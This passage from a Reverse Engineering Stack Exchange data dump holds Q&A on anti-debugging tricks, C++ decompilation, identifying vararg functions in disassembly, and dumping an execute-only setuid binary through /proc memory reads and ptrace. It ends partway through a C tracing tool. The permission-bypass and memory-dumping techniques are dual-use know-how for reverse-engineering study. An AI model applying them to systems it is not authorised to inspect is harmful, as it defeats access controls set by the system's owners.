&lt;code&gt;main()&lt;/code&gt;, e.g. in constructors of global objects or using &lt;code&gt;__attribute__((constructor))&lt;/code&gt;. Since GDB usually sets initial breakpoint in &lt;code&gt;main()&lt;/code&gt;, it takes care of the default situation. Workaround is simple: put breakpoint on the actual file's entrypoint (&lt;code&gt;info file&lt;/code&gt; in GDB).&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Sending itself debugging-related signals like &lt;code&gt;SIGTRAP&lt;/code&gt;. (Note that this can be ignored with &lt;code&gt;handle SIGTRAP nostop&lt;/code&gt; in GDB.)&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Forking and tracing itself with &lt;code&gt;ptrace&lt;/code&gt;.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Fake breakpoints insertion: Inserting int3/0xcc will force the debugger to stop on these bytes as they will be treated as software breakpoints. If they are numerous it might slow down considerably the analysis.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Breakpoint detection: I saw this technique in this &lt;a href=&quot;http://www.stonedcoder.org/~kd/lib/14-61-1-PB.pdf&quot;&gt;paper&lt;/a&gt;, you can attach a function that will be triggered when a breakpoint is encoutered. This paper covers also some other tricks.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="60" LastEditorUserId="2417" LastEditDate="2014-01-02T22:06:29.363" LastActivityDate="2014-01-02T22:06:29.363" CommentCount="5" CommunityOwnedDate="2013-03-20T19:27:36.590" ContentLicense="CC BY-SA 3.0" />
  <row Id="94" PostTypeId="2" ParentId="87" CreationDate="2013-03-20T19:49:01.993" Score="24" Body="&lt;p&gt;I gave a talk at Recon in 2011 (&quot;Practical C++ Decompilation&quot;) on this exact topic. &lt;a href=&quot;http://www.hexblog.com/wp-content/uploads/2011/08/Recon-2011-Skochinsky.pdf&quot; rel=&quot;nofollow noreferrer&quot;&gt;Slides&lt;/a&gt; and &lt;a href=&quot;https://www.youtube.com/watch?v=efkLG8-G3J0&quot; rel=&quot;nofollow noreferrer&quot;&gt;video&lt;/a&gt; (&lt;a href=&quot;https://www.youtube.com/watch?v=efkLG8-G3J0&quot; rel=&quot;nofollow noreferrer&quot;&gt;mirror&lt;/a&gt;) are available.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The basic approach is simple: represent classes as structures, and vtables as structures of function pointers. There are some tricks I described that allow you to handle inheritance and different vtables for the classes in the same hierarchy. These tricks were also described on &lt;a href=&quot;http://blog.0xbadc0de.be/archives/67&quot; rel=&quot;nofollow noreferrer&quot;&gt;this blog&lt;/a&gt;; I'm not sure if it was based on my talk or an independent work.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;One additional thing that I do is add a repeatable comment to each slot in the vtable structure with the implementation's address. This allows you to quickly jump to the implementation when you apply the structure to the vtable slot load:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/dAGk2.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="60" LastEditorUserId="60" LastEditDate="2017-06-22T08:40:11.473" LastActivityDate="2017-06-22T08:40:11.473" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="95" PostTypeId="1" AcceptedAnswerId="105" CreationDate="2013-03-20T20:34:26.300" Score="8" ViewCount="1731" Body="&lt;p&gt;How would a C variable argument function such as &lt;code&gt;printf(char* format, ...)&lt;/code&gt; look like when disassembled?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is it always identified by calling convention, or are there more ways to identify it?&lt;/p&gt;&#xA;" OwnerUserId="35" LastEditorUserId="107" LastEditDate="2013-03-21T15:26:59.907" LastActivityDate="2013-04-17T05:11:39.950" Title="Identifying variable args function" Tags="|disassembly|calling-conventions|c|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="96" PostTypeId="2" ParentId="95" CreationDate="2013-03-20T20:40:29.157" Score="10" Body="&lt;p&gt;(My answer is x86-specific).  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Internally to the function, it looks just like any other function.  The only difference being, at some point during the function, it will take the (stack) address of the last non-variable argument, and increment it by the word size on the platform; this is then used as a pointer to the base of the variable arguments.  Externally to the function, you will observe that different numbers of arguments are passed as parameters to the function (and typically one of the non-variable arguments will be some obvious indicator as a variable argument function, such as a hard-coded format string or something similar).  Variable argument functions can not be &lt;code&gt;__stdcall&lt;/code&gt;, since &lt;code&gt;__stdcall&lt;/code&gt; relies upon precompiled &lt;code&gt;ret XXh&lt;/code&gt; instructions, whereas the point of a variable argument function is that an unknown amount of parameters can be passed.  Hence, these functions must be &lt;code&gt;__cdecl&lt;/code&gt;, i.e. the caller must correct the stack to remove all pushed arguments.&lt;/p&gt;&#xA;" OwnerUserId="182" LastEditorUserId="245" LastEditDate="2013-04-17T05:11:39.950" LastActivityDate="2013-04-17T05:11:39.950" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="97" PostTypeId="1" CreationDate="2013-03-20T21:05:27.250" Score="9" ViewCount="459" Body="&lt;p&gt;Are there equivalent tools/procedures to IDA's FLIRT signatures, when working on statically linked binaries, with other disassemblers?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is it at all possible with GDB/objdump?&lt;/p&gt;&#xA;" OwnerUserId="74" LastActivityDate="2013-03-20T23:33:37.783" Title="Equivalent of IDA FLIRT signatures for GDB?" Tags="|gdb|flirt-signatures|" AnswerCount="1" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="98" PostTypeId="1" AcceptedAnswerId="106" CreationDate="2013-03-20T21:22:29.067" Score="37" ViewCount="10959" Body="&lt;p&gt;I have a binary on a Linux (Kernel 2.6) which I can execute, but can't read (chmod 0711). Therefore no static analysis is possible.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;user1: $ ls -l bin &#xA;-r-s--x--- user2 user1 bin&#xA;user1: $ file bin&#xA;setuid executable, regular file, no read permission&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I'm looking for different dynamic techniques to gather as much information as possible.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For example &lt;code&gt;strace&lt;/code&gt; works with this executable.&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;UPDATE : I was able to resolve the issue. &lt;a href=&quot;https://reverseengineering.stackexchange.com/a/110&quot;&gt;See answer.&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thank you all &amp;lt;3 this new reverseengineering community rocks!&lt;/p&gt;&#xA;" OwnerUserId="145" LastEditorUserId="-1" LastEditDate="2017-04-13T12:49:39.430" LastActivityDate="2013-06-20T16:33:42.113" Title="How can I analyse an executable with no read permission?" Tags="|linux|dynamic-analysis|" AnswerCount="5" CommentCount="6" ContentLicense="CC BY-SA 3.0" />
  <row Id="99" PostTypeId="2" ParentId="53" CreationDate="2013-03-20T21:36:50.757" Score="6" Body="&lt;p&gt;This &lt;a href=&quot;http://jsbeautifier.org/&quot; rel=&quot;noreferrer&quot;&gt;also breaks some beautifers&lt;/a&gt; (but &lt;a href=&quot;http://www.javascriptbeautifier.com/&quot; rel=&quot;noreferrer&quot;&gt;not all&lt;/a&gt;). For example, running your code through JS Beautifier:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;   var ab = &quot;Hello, world!&quot;,&#xA;       a‍ b = &quot;Completely different string!&quot;,&#xA;       a‌ b = &quot;Yet another completely different string!&quot;;&#xA;&#xA;document.getElementById('result1').innerHTML = ab;&#xA;document.getElementById('result2').innerHTML = a‍ b;&#xA;document.getElementById('result3').innerHTML = a‌ b;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;(Note the spaces in between &quot;a&quot; and &quot;b&quot;.)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You could argue that this is a pro and a con. Depending on exactly how confusing you make the code, it may be even more confusing to see random spaces being injected. On the other hand, it also alerts the reader that something is definitely up.&lt;/p&gt;&#xA;" OwnerUserId="215" LastActivityDate="2013-03-20T21:36:50.757" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="100" PostTypeId="2" ParentId="98" CreationDate="2013-03-20T21:47:00.070" Score="1" Body="&lt;ol&gt;&#xA;&lt;li&gt;Gain root read the file&lt;/li&gt;&#xA;&lt;li&gt;Copy the filesystem to a different sytem and read it if you have permissions to do so (copy the fs to a system where you have root access). &lt;/li&gt;&#xA;&lt;li&gt;examine the memory of the process as it executes. won't work if it is setuid and you aren't that user.&lt;/li&gt;&#xA;&lt;li&gt;I'm just being silly but you could execute it over and over untill it fills up swap and then copy it from there :P Or create a swap file in your home folder with priority higher than system swap. And then do the above... and when the system swap starts filling up copy your swapfile to save it. I would suggest doing that in a script otherwise your system might end up locked up. You could monitor swap useage with free I believe or failing that parse the useage out of /proc. Of course kill all the created tasks after you copy your swapfile.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;Chances are you don't have permission to do any of that :P. that said you probably need to provide more specifics about what you can/can't do on this system.&lt;/p&gt;&#xA;" OwnerUserId="117" LastActivityDate="2013-03-20T21:47:00.070" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="101" PostTypeId="2" ParentId="98" CreationDate="2013-03-20T21:52:39.010" Score="5" Body="&lt;p&gt;Here are some tools that might or might not work:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;a href=&quot;https://www.wekk.net/code/projects/skpd/repository/revisions/e61bb652197c39b500ab912eebae105048b1deb4/entry/trunk/src/skpd.c&quot;&gt;skpd&lt;/a&gt;, apparently based on a &lt;a href=&quot;http://www.phrack.com/issues.html?issue=63&amp;amp;id=12&amp;amp;mode=txt&quot;&gt;Phrack article&lt;/a&gt;.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;a href=&quot;http://www.opensource.apple.com/source/emacs/emacs-41/emacs/src/unexec.c?txt&quot;&gt;unexec&lt;/a&gt;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;a href=&quot;http://code.google.com/p/undump/&quot;&gt;undump&lt;/a&gt;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;a href=&quot;http://manpages.ubuntu.com/manpages/gutsy/man1/pcat.1.html&quot;&gt;pcat&lt;/a&gt;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;just read &lt;code&gt;/proc/&amp;lt;pid&amp;gt;/maps&lt;/code&gt; and then &lt;code&gt;dd&lt;/code&gt; &lt;code&gt;/proc/&amp;lt;pid&amp;gt;/mem&lt;/code&gt;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;I'll be interested to hear if you had any success with any of them.&lt;/p&gt;&#xA;" OwnerUserId="60" LastActivityDate="2013-03-20T21:52:39.010" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="103" PostTypeId="2" ParentId="77" CreationDate="2013-03-20T22:38:55.390" Score="25" Body="&lt;p&gt;I've used &lt;a href=&quot;http://www.jetbrains.com/decompiler/&quot;&gt;JetBrains dotPeek&lt;/a&gt; (free of charge) before with some success.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any JetBrains software I've ever used has been very solid.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It is not quite the 'original source' but it is very readable C# - about the closest thing I would expect to get. Quote from their website:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;h3&gt;What's Cool about dotPeek?&lt;/h3&gt;&#xA;  &#xA;  &lt;ol&gt;&#xA;  &lt;li&gt;Decompiling .NET 1.0-4.5 assemblies to C#&lt;/li&gt;&#xA;  &lt;li&gt;Support for .&lt;code&gt;dll&lt;/code&gt;, &lt;code&gt;.exe&lt;/code&gt;, &lt;code&gt;.zip&lt;/code&gt;, &lt;code&gt;.vsix&lt;/code&gt;, &lt;code&gt;.nupkg&lt;/code&gt;, and &lt;code&gt;.winmd&lt;/code&gt; files&lt;/li&gt;&#xA;  &lt;li&gt;Quick jump to a type, assembly, symbol, or type member&lt;/li&gt;&#xA;  &lt;li&gt;Effortless navigation to symbol declarations, implementations, derived and base symbols, and more&lt;/li&gt;&#xA;  &lt;li&gt;Accurate search for symbol usage with advanced presentation of search results&lt;/li&gt;&#xA;  &lt;li&gt;Overview of inheritance chains&lt;/li&gt;&#xA;  &lt;li&gt;Support for downloading code from source servers&lt;/li&gt;&#xA;  &lt;li&gt;Syntax highlighting&lt;/li&gt;&#xA;  &lt;li&gt;Complete keyboard support&lt;/li&gt;&#xA;  &lt;li&gt;dotPeek is free!&lt;/li&gt;&#xA;  &lt;/ol&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;The last point is free as in free beer, not as in free speech.&lt;/p&gt;&#xA;" OwnerUserId="218" LastEditorUserId="245" LastEditDate="2013-04-17T04:34:22.040" LastActivityDate="2013-04-17T04:34:22.040" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="104" PostTypeId="2" ParentId="97" CreationDate="2013-03-20T23:33:37.783" Score="3" Body="&lt;p&gt;I'm not sure if other tools offer the same functionality, but if you have IDA, you can do File-&gt;Produce File-&gt;Create MAP File to create a .MAP file with the names that IDA determined (or which were manually created by the user).  Many other debugging tools have the ability to load .MAP files, so I have used this trick for example with SoftICE and OllyDbg.&lt;/p&gt;&#xA;" OwnerUserId="182" LastActivityDate="2013-03-20T23:33:37.783" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="105" PostTypeId="2" ParentId="95" CreationDate="2013-03-21T00:14:35.883" Score="18" Body="&lt;p&gt;It is very simple in some architectures, and not very obvious in others. I'll describe a few I'm familiar with.&lt;/p&gt;&#xA;&#xA;&lt;h2&gt;SystemV x86_64 (Linux, OS X, BSD)&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;Probably the easiest to recognize. Because of the boneheaded decision to specify the number of used XMM registers in &lt;code&gt;al&lt;/code&gt;, most vararg functions begin like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;    push    rbp&#xA;    mov     rbp, rsp&#xA;    sub     rsp, 0E0h&#xA;    mov     [rbp+var_A8], rsi&#xA;    mov     [rbp+var_A0], rdx&#xA;    mov     [rbp+var_98], rcx&#xA;    mov     [rbp+var_90], r8&#xA;    mov     [rbp+var_88], r9&#xA;    movzx   eax, al&#xA;    lea     rdx, ds:0[rax*4]&#xA;    lea     rax, loc_402DA1&#xA;    sub     rax, rdx&#xA;    lea     rdx, [rbp+var_1]&#xA;    jmp     rax&#xA;    movaps  xmmword ptr [rdx-0Fh], xmm7&#xA;    movaps  xmmword ptr [rdx-1Fh], xmm6&#xA;    movaps  xmmword ptr [rdx-2Fh], xmm5&#xA;    movaps  xmmword ptr [rdx-3Fh], xmm4&#xA;    movaps  xmmword ptr [rdx-4Fh], xmm3&#xA;    movaps  xmmword ptr [rdx-5Fh], xmm2&#xA;    movaps  xmmword ptr [rdx-6Fh], xmm1&#xA;    movaps  xmmword ptr [rdx-7Fh], xmm0&#xA;loc_402DA1:&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Note how it's using &lt;code&gt;al&lt;/code&gt; to determine how many xmm registers to spill onto the stack.&lt;/p&gt;&#xA;&#xA;&lt;h2&gt;Windows x64 aka AMD64&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;In Win64 it's less obvious, but here's one sign: the registers that correspond to the elliptic parameters are always spilled onto the stack and at positions that line up with the rest of arguments passed on the stack. E.g. here's the &lt;code&gt;printf&lt;/code&gt;'s prolog:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;  mov     rax, rsp&#xA;  mov     [rax+8], rcx&#xA;  mov     [rax+10h], rdx&#xA;  mov     [rax+18h], r8&#xA;  mov     [rax+20h], r9&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Here, &lt;code&gt;rcx&lt;/code&gt; contains the fixed &lt;code&gt;format&lt;/code&gt; argument, and the elliptic arguments are passed in &lt;code&gt;rdx&lt;/code&gt;, &lt;code&gt;r8&lt;/code&gt; and &lt;code&gt;r9&lt;/code&gt; and then on the stack. We can observe that &lt;code&gt;rdx&lt;/code&gt;, &lt;code&gt;r8&lt;/code&gt; and &lt;code&gt;r9&lt;/code&gt; are stored exactly one after another, and just below the rest of the arguments, which begin at &lt;code&gt;rsp+0x28&lt;/code&gt;. The area [rsp+8..rsp+0x28] is reserved &lt;a href=&quot;http://msdn.microsoft.com/en-us/library/ew5tede7.aspx&quot;&gt;exactly for this purpose&lt;/a&gt;, but the non-vararg functions often don't store all register arguments there, or reuse that area for local variables. For example, here's a &lt;em&gt;non&lt;/em&gt;-vararg function prolog:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;  mov     [rsp+10h], rbx&#xA;  mov     [rsp+18h], rbp&#xA;  mov     [rsp+20h], rsi&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;You can see that it's using the reserved area for saving non-volatile registers, and not spilling the register arguments.&lt;/p&gt;&#xA;&#xA;&lt;h2&gt;ARM&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;ARM calling convention uses &lt;code&gt;R0&lt;/code&gt;-&lt;code&gt;R3&lt;/code&gt; for the first arguments, so vararg functions need to spill them onto stack to line up with the rest of parameters passed on the stack. Thus you will see &lt;code&gt;R0&lt;/code&gt;-&lt;code&gt;R3&lt;/code&gt; (or &lt;code&gt;R1&lt;/code&gt;-&lt;code&gt;R3&lt;/code&gt;, or &lt;code&gt;R2&lt;/code&gt;-&lt;code&gt;R3&lt;/code&gt; or just &lt;code&gt;R3&lt;/code&gt;) being pushed onto stack, which &lt;em&gt;usually&lt;/em&gt; does not happen in non-vararg functions. It's not a 100% foolproof indicator - e.g. Microsoft's compiler sometimes pushes &lt;code&gt;R0&lt;/code&gt;-&lt;code&gt;R1&lt;/code&gt; onto the stack and accesses them using &lt;code&gt;SP&lt;/code&gt; instead of moving to other registers and using that. But I think it's a pretty reliable sign for GCC. Here's an example of GCC-compiled function:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;STMFD   SP!, {R0-R3}&#xA;LDR     R3, =dword_86090&#xA;STR     LR, [SP,#0x10+var_14]!&#xA;LDR     R1, [SP,#0x14+varg_r0] ; format&#xA;LDR     R0, [R3]        ; s&#xA;ADD     R2, SP, #0x14+varg_r1 ; arg&#xA;BL      vsprintf&#xA;LDR     R3, =dword_86094&#xA;MOV     R2, #1&#xA;STR     R2, [R3]&#xA;LDR     LR, [SP+0x14+var_14],#4&#xA;ADD     SP, SP, #0x10&#xA;RET&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;It's obviously a vararg function because it's calling &lt;code&gt;vsprintf&lt;/code&gt;, and we can see &lt;code&gt;R0&lt;/code&gt;-&lt;code&gt;R3&lt;/code&gt; being pushed right at the start (you can't push anything else before that because the potential stack arguments are present at &lt;code&gt;SP&lt;/code&gt; and so the &lt;code&gt;R0&lt;/code&gt;-&lt;code&gt;R3&lt;/code&gt; have to precede them).&lt;/p&gt;&#xA;" OwnerUserId="60" LastActivityDate="2013-03-21T00:14:35.883" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="106" PostTypeId="2" ParentId="98" CreationDate="2013-03-21T00:28:53.320" Score="28" Body="&lt;p&gt;I initially thought you wouldn't be able to dump the program, but it turns out that you can — see the second section of this answer.&lt;/p&gt;&#xA;&#xA;&lt;h2&gt;Running the program&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;Most of the usual methods won't work because the executable is setuid. If you start the program normally, it runs with elevated privileges (euid ≠ ruid), and most debugging facilities are reserved to root. For example, anything that relies on attaching to the program with &lt;code&gt;ptrace&lt;/code&gt; is reserved to root. This includes just about anything you could do in a debugger. Linux lets you dump the memory of a running process (with &lt;code&gt;ptrace&lt;/code&gt; or through &lt;a href=&quot;https://unix.stackexchange.com/questions/6301/how-do-i-read-from-proc-pid-mem-under-linux&quot;&gt;&lt;code&gt;/proc/$pid/maps&lt;/code&gt; and &lt;code&gt;/proc/$pid/mem&lt;/code&gt;&lt;/a&gt;), but that too is disabled for a setuid executable.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can run &lt;code&gt;strace ./bin&lt;/code&gt;, and see what system calls the program makes. However, this runs the program without any extra privileges. It may well stop early and complain that it can't read a file, or that it isn't running as the right user.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can see statistics like CPU usage, IO usage, network usage, memory usage, etc. in &lt;code&gt;/proc/$pid&lt;/code&gt;: files like &lt;code&gt;status&lt;/code&gt;, &lt;code&gt;sched&lt;/code&gt; and &lt;code&gt;net/netstat&lt;/code&gt; are world-readable (whether the program is actually started with extra privileges or not, the setuid restrictions apply). The one interesting thing I see is the program's network connections. The really juicy stuff, like memory contents (&lt;code&gt;mem&lt;/code&gt;) and even open files (&lt;code&gt;fd&lt;/code&gt;) is disabled either way. Preloading a library with &lt;code&gt;LD_PRELOAD&lt;/code&gt; or running the program with a different &lt;code&gt;LD_LIBRARY_PATH&lt;/code&gt; is also disabled either way. Nor will you get a core dump.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So what works? You can see open network connections, maybe one of them will give you a clue or will be spoofable. You can try to figure out what files the program accesses by modifying them when you can, or by running the program from another directory (try making a symbolic link).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you have access to a chroot jail on the machine, try running the program from there. If you can run a virtual machine which implements shared folders (e.g. VMware or VirtualBox), see if you can access the program from there. This is all about subverting the security of the system: the permissions are designed to hinder you in your task.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;An advanced technique is to observe the program under heavy load and try to deduce what it does from the time it takes. Pollute the disk caches and see what files become quickly accessible. See how the swap usage varies depending on what the program does (so you get an idea of how many different pages are in its working set, not just how much total memory it's using). A lot of trial and error will be required. When you know the code and are trying to obtain the data, this is a well-known side channel attack. When you don't know the code, I expect it to be very difficult to obtain useful information this way.&lt;/p&gt;&#xA;&#xA;&lt;h2&gt;Dumping the memory contents&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;I initially thought you couldn't dump the memory of the program because of the setuid bit (which usually wouldn't be a problem because you'd just copy the executable, but here this isn't possible because the executable is not readable). This turns out to be wrong. If you attach to the program with &lt;code&gt;ptrace&lt;/code&gt; before calling &lt;code&gt;execve&lt;/code&gt; (like running &lt;code&gt;strace ./bin&lt;/code&gt; does), you do have access to &lt;code&gt;ptrace&lt;/code&gt; in all its glory, including &lt;code&gt;PTRACE_PEEKDATA&lt;/code&gt; and &lt;code&gt;PTRACE_PEEKEXEC&lt;/code&gt;. That doesn't run the program setuid, so it may behave differently, but the code and static data loaded into memory are the same either way.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Kudos to &lt;a href=&quot;https://reverseengineering.stackexchange.com/questions/98/how-can-i-analyse-an-executable-with-no-read-permission/110#110&quot;&gt;samuirai&lt;/a&gt; for pointing this out.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here's an overview of how you can dump the program's memory:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Fork, and call &lt;code&gt;ptrace(PTRACE_TRACEME, ...)&lt;/code&gt; in the child then execute the program (&lt;code&gt;execl(&quot;./bin&quot;, &quot;./bin&quot;, NULL)&lt;/code&gt;).&lt;/li&gt;&#xA;&lt;li&gt;In the parent, call &lt;code&gt;waitpid&lt;/code&gt; to wait for the child to return from &lt;code&gt;execve&lt;/code&gt;.&lt;/li&gt;&#xA;&lt;li&gt;Figure out the address at which the code is loaded. The value of the IP register (obtained through &lt;code&gt;PTRACE_GETREGS&lt;/code&gt;) should give a clue, and you can look for file format headers.&lt;/li&gt;&#xA;&lt;li&gt;Read the child's memory word by word (&lt;code&gt;PTRACE_PEEKTEXT&lt;/code&gt;, &lt;code&gt;PTRACE_PEEKDATA&lt;/code&gt;).&lt;/li&gt;&#xA;&lt;li&gt;Reconstruct the file format (e.g. make an ELF binary from text and data sections) if needed. Dump out the data into a file.&lt;/li&gt;&#xA;&lt;li&gt;Kill the child — it won't even get to execute anything.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://reverseengineering.stackexchange.com/questions/98/how-can-i-analyse-an-executable-with-no-read-permission/150#150&quot;&gt;Dougall pointed out a working proof-of-concept tool&lt;/a&gt; for ELF executables: &lt;a href=&quot;http://reverse.lostrealm.com/tools/xocopy.html&quot; rel=&quot;nofollow noreferrer&quot;&gt;xocopy&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="107" LastEditorUserId="-1" LastEditDate="2017-04-13T12:49:39.430" LastActivityDate="2013-03-22T13:41:46.203" CommentCount="12" ContentLicense="CC BY-SA 3.0" />
  <row Id="107" PostTypeId="2" ParentId="74" CreationDate="2013-03-21T01:35:04.507" Score="6" Body="&lt;p&gt;The gas testcase suite that you link to is not only for i386.  The &lt;a href=&quot;http://sourceware.org/git/?p=binutils.git;a=tree;f=gas/testsuite/gas;hb=HEAD&quot; rel=&quot;nofollow&quot;&gt;parent directory&lt;/a&gt; contains test cases for x86-64, arm, alpha, and many other architectures.&lt;/p&gt;&#xA;" OwnerUserId="199" LastEditorUserId="1907" LastEditDate="2013-05-02T04:47:16.293" LastActivityDate="2013-05-02T04:47:16.293" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="108" PostTypeId="1" CreationDate="2013-03-21T01:44:32.143" Score="9" ViewCount="177" Body="&lt;p&gt;AMD64 (aka x86-64 or x64) registers can be accessed 8, 16, 32 or 64 bits at a time. When reading a disassembly listing, what register operations are not straightforward?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For example, when an instruction accesses part of a register, how does it affect other parts?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What typical instructions or sequences of instructions used by optimizers might encode something that isn't obvious (e.g. xoring a register with itself to set it to zero)?&lt;/p&gt;&#xA;" OwnerUserId="66" LastEditorUserId="70" LastEditDate="2013-03-22T21:39:53.120" LastActivityDate="2013-03-22T21:39:53.120" Title="AMD64 compiler optimizations with register manipulations" Tags="|disassembly|amd64|" AnswerCount="1" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="109" PostTypeId="1" CreationDate="2013-03-21T02:00:34.690" Score="-9" ViewCount="1412" Body="&lt;p&gt;We all know that Ubuntu is the most popular Linux distro today with plenty of application currently being developed for it. But then I use Fedora and some use other distros but still liked to have the same program from Ubuntu in their systems.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So how can I convert .deb files back to .tar so it can be recompiled for other distros?&lt;/p&gt;&#xA;" OwnerUserId="223" LastEditorUserId="223" LastEditDate="2013-03-21T02:06:09.567" LastActivityDate="2013-03-21T04:26:38.847" Title="How can I turn .deb files back to .tar for reuse with other Linux distros?" Tags="|decompilation|linux|development|" AnswerCount="1" CommentCount="3" ClosedDate="2013-03-21T12:32:09.870" ContentLicense="CC BY-SA 3.0" />
  <row Id="110" PostTypeId="2" ParentId="98" CreationDate="2013-03-21T02:15:13.517" Score="11" Body="&lt;p&gt;I found a small tool which uses ptrace to single step instructions from a forked child which executed another program:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://pastebin.com/yHbkc0Je&quot; rel=&quot;noreferrer&quot;&gt;http://pastebin.com/yHbkc0Je&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This worked perfectly. I got a dump of all the instructions used. I know that it didn't run with the setuid privileges, but it will probably help me anyway. Now I only need something to disassemble the instruction trace.&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;PoC (&lt;a href=&quot;https://gist.github.com/Samuirai/5217680&quot; rel=&quot;noreferrer&quot;&gt;https://gist.github.com/Samuirai/5217680&lt;/a&gt;) based on this.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;/*&#xA;This tool was developed through the awesome community effort on reverseengineering.stackexchange.com&#xA;&#xA;The Thread: http://reverseengineering.stackexchange.com/questions/98/how-can-i-analyse-an-executable-with-no-read-permission&#xA;&#xA;Special thanks to:&#xA; + igor-skochinsky who pointed at this Phrack article and gave the initial idea: http://www.phrack.com/issues.html?issue=63&amp;amp;id=12&amp;amp;mode=txt&#xA; + gilles for his engagement and enthisiasm about this question and his code attempt&#xA; + and all others who were involved&#xA;&#xA;This new stackexchange reverseengineering community is F**KING AWESOME!!! &amp;lt;3&#xA;&#xA;*/&#xA;#include &amp;lt;stdio.h&amp;gt;&#xA;#include &amp;lt;sys/ptrace.h&amp;gt;&#xA;#include &amp;lt;sys/types.h&amp;gt;&#xA;#include &amp;lt;sys/wait.h&amp;gt;&#xA;#include &amp;lt;sys/user.h&amp;gt;&#xA;#include &amp;lt;sys/syscall.h&amp;gt;&#xA;&#xA;int main()&#xA;{&#xA;    pid_t pid;&#xA;&#xA;    pid = fork();&#xA;    if(pid == 0) {&#xA;        ptrace(PTRACE_TRACEME, 0, NULL, NULL);&#xA;        execl(&quot;./bin&quot;, &quot;./bin&quot;, NULL);&#xA;    }&#xA;    else {&#xA;        int status;&#xA;        struct user_regs_struct regs;&#xA;&#xA;        // single stepping until it reached the real code segment&#xA;        while(1) {&#xA;&#xA;            